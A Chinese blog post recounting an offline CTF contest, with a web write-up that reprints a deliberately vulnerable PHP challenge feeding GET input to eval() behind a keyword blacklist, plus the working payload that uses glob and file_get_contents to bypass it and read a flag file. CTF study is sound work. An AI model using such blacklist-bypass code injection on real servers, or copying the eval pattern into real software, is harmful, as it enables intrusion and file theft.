第九届御网杯

第九届御网杯

历经12个小时高强度ctf,也是打完了御网杯线下赛。真的累,半决赛和决赛在同一天进行。

先是半决赛,我们GWWAFZ排名13还是多少成功进入决赛,当时以为半决赛一等奖就是nisp证书了,没想到是决赛才决出一等奖。

不过第一次线下赛就进决赛,还拿了二等奖,也不错了。

这次我们ak了misc
我负责的web方向是解出了三题,还有一题全场暴零。

1

由于比赛限制联网,还不准带手机,题目没有源码,只能根据回忆
故只提供我的web模糊向wp。

二次编码

根据题目提示,在前端里找到三个相关参数,要让两个参数有值,不记得是不是只能有两个参数,好像三个都穿不行记不清了,当时参数乱填,然后排列组合出来了。

sql

sqlmap直接跑出来

命令执行

这题做的最久有两个多小时,恕我太菜了。
白盒rce,源码复制下来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
# flag in flag.php
include("flag.php");
if(isset($_GET['cmd'])){
$cmd = $_GET['cmd'];
if(!preg_match("/system|exec|highlight|show_source|include|passthru|php|flag|print_r|cat|head|tail|more|less/i",$cmd)){
if(preg_match("/\?|\*/i",$cmd)){
eval($cmd);
} else {
die("HACK!!");
}
} else {
die("HACK!!!");
}
} else {
highlight_file(__FILE__);
}
?>

必须要有
(“/?|*/i”,$cmd)
才会进入eval的if

然后把一些能直接输出flag的命令ban了

随便试了一下,进入hack的if时会有提示:

1
2
3
4
<!--?
$filename = "/tmp/flag.php";
$content = trim(file_get_contents($filename));
?-->

这个trim还好,有echo用,主要是如何把flag的目录传到变量里

1
trim() 函数用于移除字符串两侧的空白字符或其他预定义字符。

当时是想过直接用路径搭配通配符来给filename赋值的,但是尝试后发现这时的filename变为字符串变量,然后file_get_contents是不能在字符串变量里匹配通配符的

所以要找一个把正确的文件名赋值给filename的办法

最后尝试了很多次后,是使用了glob函数搭配通配符*来读取路径,然后用var_dump来输出文件名:

cmd=$filename=glob(“/tmp/“);echo(““);var_dump($filename);
回显:
*array(2) { [0]=> string(13) “/tmp/flag.php” [1]=> string(16) “/tmp/tmpw_m0ic1v” }

又花了点时间,发现能直接用filename[0]来指定这个数组里的某一个值

然后
cmd=$filename=glob(“/tmp/“);$a=trim(file_get_contents($filename[0]));echo(““);var_dump($filename);echo($a);
回显:
*array(2) { [0]=> string(13) “/tmp/flag.php” [1]=> string(16) “/tmp/tmpw_m0ic1v” } flag{GarnHSTCUTh6}

大概流程是

用glob来获取目录下的全部文件路径赋值给filename数组->用file_get_contents来filename[0],即读取到正确的flag路径,然后成功包含flag.php->trim来提取flag.php里的内容赋值给a->echo 变量a,得到flag内容


第九届御网杯
https://aidemofashi.github.io/2025/07/18/第九届御网杯/
作者
aidemofashi
发布于
2025年7月18日
许可协议